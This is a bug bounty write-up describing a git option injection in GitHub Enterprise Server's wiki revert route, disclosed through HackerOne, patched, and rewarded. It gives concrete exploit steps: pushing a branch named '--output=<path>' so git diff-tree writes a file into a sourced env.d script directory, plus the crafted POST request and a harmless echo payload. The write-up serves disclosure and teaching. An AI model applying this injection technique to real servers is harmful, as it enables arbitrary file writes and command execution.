GitHub - RCE via git option injection (almost) - $20,000 Bounty
It had been a while since I’d looked into GitHub, so I thought it would be good to spin up a fresh enterprise trial and see what I could find. The GHE code is obfuscated, but it’s just to discourage customers from messing around and if you do a bit of googling there are lots of scripts available to decode it leaving you with regular ruby files for a rails app.
The last bug I submitted to GitHub was around a year ago. It was to do with injecting options into the git command using branch names that started with a -
allowing an attacker to truncate files on the server, so I decided that was a good place to start to see if any similar bugs had been introduced.
Discovery
I began searching for all the places that the git process was called, then tracing the arguments back to see if they were user controllable and if they were sanitised correctly. Most places either put user controlled data behind --
in the command so that it is never parsed as an option, or there was a check to make sure that it is a valid sha1 or commitish value and doesn’t start with a -
.
After a while I came across a method reverse_diff
which took two commits and ended up running a git diff-tree
with them, and the only check was that there were both valid git references for the repo (sha, branch, tag, etc). Tracing backwards, this function was called by a revert_range
method which was used when reverting between two previous wiki commits. So a POST
to user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a
would end up calling reverse_diff
with the values 57f931f8839c99500c17a148c6aae0ee69ded004
and 1967827bcd890246b746a5387340356d0ac7710a
.
This looked perfect! I checked out a repo and pushed a new branch called --help
with git push origin master:--help
, then tried to post to user/repo/wiki/Home/_revert/HEAD/--help
. But instead of success a 422 Unprocessable Entity
was returned. Looking at the server logs it was complaining that the CSRF token was invalid. Turns out that rails now has per form CSRF tokens that are generated based on the path that you are posting to. Query parameters aren’t checked, but in this case the route was setup to only allow path params for the commits.
The form for the revert along with the valid token was generated by the wiki compare template, but unfortunately that had a much stricter validation and required the commits to be valid sha hashes. This meant that I couldn’t get it to render a valid form and token for the --help
branch, only for valid commit shas.
Digging into the valid_authenticity_token? method in rails, another way to bypass the per form CSRF is by using the global token, as there is a code path to make existing forms backwards compatible while transitioning.
def valid_authenticity_token?(session, encoded_masked_token) # :doc:
if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
return false
end
begin
masked_token = Base64.strict_decode64(encoded_masked_token)
rescue ArgumentError # encoded_masked_token is invalid Base64
return false
end
# See if it's actually a masked token or not. In order to
# deploy this code, we should be able to handle any unmasked
# tokens that we've issued without error.
if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
# This is actually an unmasked token. This is expected if
# you have just upgraded to masked tokens, but should stop
# happening shortly after installing this gem.
compare_with_real_token masked_token, session
elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
csrf_token = unmask_token(masked_token)
compare_with_real_token(csrf_token, session) ||
valid_per_form_csrf_token?(csrf_token, session)
else
false # Token is malformed.
end
end
The global CSRF token is quite often handed out to the client using the csrf_meta_tags
helper, but GitHub had really locked down everything and after a lot of searching the was no place that I could find that was leaking it. GitHub had even gone so far as raising an error if the per form CSRF was not setup correctly, as that could leak the global token.
I spent quite a bit of time searching for a way to bypass this, the way the token was generated by rails it didn’t really matter where the form was created so long as I could get it to use a path such as wiki/Home/_revert/HEAD/--help
. After a lot of searching and digging very deep within both GHE and rails code I came up empty handed. I did find a few archived html pages on github.com indicating that the global token used to be handed out just not any more. GitHub stores the global CSRF token for a user session in the database, so I decided to just grab it from there continue on and could come back to how to find it later.
Exploit
I installed and ran execsnoop
from perf-tools on the GHE server to have a closer look at the exact git command that was run when doing a revert and saw that it was in the form git diff-tree -p -R commit1 commit2 -- Home.md
. The diff-tree
git command has an option --output
allowing you to write the output to a file instead of outputting the results, so using HEAD
as the first commit and --output=/tmp/ggg
as the second would write the lastest diff of a file to /tmp/ggg
.
So I pushed a new branch called --output=/tmp/ggg
to the wiki repo, then did a POST
to user/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg
using the authenticity_token
I’d grabbed from the database. Looking on the server the file /tmp/ggg
had been created with the output of the diff!
9ea5ef1f10e9ff1974055d3e4a60bec143822f9d
diff --git b/Home.md a/Home.md
index c3a38e1..85402bc 100644
--- b/Home.md
+++ a/Home.md
@@ -1,4 +1,3 @@
Welcome to the public wiki!
-3
+2
The next thing to do was to work out what to do with it. The file could be written anywhere the git
user had access to, and the content at the end of the file was fairly controllable. After a lot more searching I found a few writeable env.d
directories (such as /data/github/shared/env.d
) which contained some setup scripts. The files in these directories ended up being sourced when the services started up or when commands some were run:
for i in $envdir/*.sh; do
if [ -r $i ]; then
. $i
fi
done
Since doing a . script.sh
doesn’t require the file to executable, and bash will continue running a script after it encounters errors, this meant that if the diff that was written contained some valid shell script then it would be executed!
So now I had everything (kind of) that was required to exploit the bug.
- Grab a users CSRF token from the database
- Create a wiki page containing
; echo vakzz was here > /tmp/ggg
- Edit the wiki page and add a new line of text:
# anything
- Clone the wiki repo
- Push a new branch name with our injected flag:
git push origin master:--output=/data/failbotd/shared/env.d/00-run.sh
- Use burp or curl to post to
user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh
using theauthenticity_token
from the databasePOST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Content-Length: 65
authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d
- Check the server to see that file has been created with our diff:
$ cat /data/failbotd/shared/env.d/00-run.sh 69eb12b5e9969ec73a9e01a67555c089bcf0fc36 diff --git b/Home.md a/Home.md index 4a7b77c..ce38b05 100644 --- b/Home.md +++ a/Home.md @@ -1,2 +1 @@ -; echo vakzz was here > /tmp/ggg` -# anything \ No newline at end of file +; echo vakzz was here > /tmp/ggg` \ No newline at end of file
- Run the file that sources our diff and check it worked
./production.sh ./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not found diff: unrecognized option '--git' diff: Try 'diff --help' for more information. ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found ./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found ./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found ./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found ./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found ./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found $ cat /tmp/ggg vakzz was here
At this stage I decided to report the issue to GitHub, even though I had no way to bypass the per form CSRF token. The underlying issue was still pretty critical, and it’s possible that GitHub could released a patch in the future that accidentally leaked the global token or change the route to accept query parameters which would open them up to being vulnerable.
Within 15 minutes GitHub had triaged the bug and let me know that they were looking into it. A few hours later they responded again confirming the underlying issue and that they could not find a way to bypass the per form token, mentioning that it was a severe issue that they may had just been lucky with their CSRF setup. I sent through a summary of the methods I’d tried for bypassing the per form as well as potential spots that it might be possible to leak it, and confirmed that I thought it was pretty unlikely to be exploitable.
So the bug itself was critical, but without it being exploitable I really had no idea how GitHub was going to land when deciding a bounty, or even if there would be a bounty at all. I ended up being very pleasantly surprised.
Timeline
-
July 25, 2020 01:48:02 AEST - Bug submitted via HackerOne
-
July 25, 2020 02:05:21 AEST - Bug was triaged by GitHub
-
July 25, 2020 09:18:28 AEST - Underlying issue was confirmed
-
August 11, 2020 - GitHub Enterprise 2.21.4 released fixing the issue
High: An attacker could inject a malicious argument into a Git sub-command when executed on GitHub Enterprise Server. This could allow an attacker to overwrite arbitrary files with partially user-controlled content and potentially execute arbitrary commands on the GitHub Enterprise Server instance. To exploit this vulnerability, an attacker would need permission to access repositories within the GHES instance. However, due to other protections in place, we could not identify a way to actively exploit this vulnerability. This vulnerability was reported through the GitHub Security Bug Bounty program.
-
September 11, 2020 02:52:15 AEST - $20,000 bounty awarded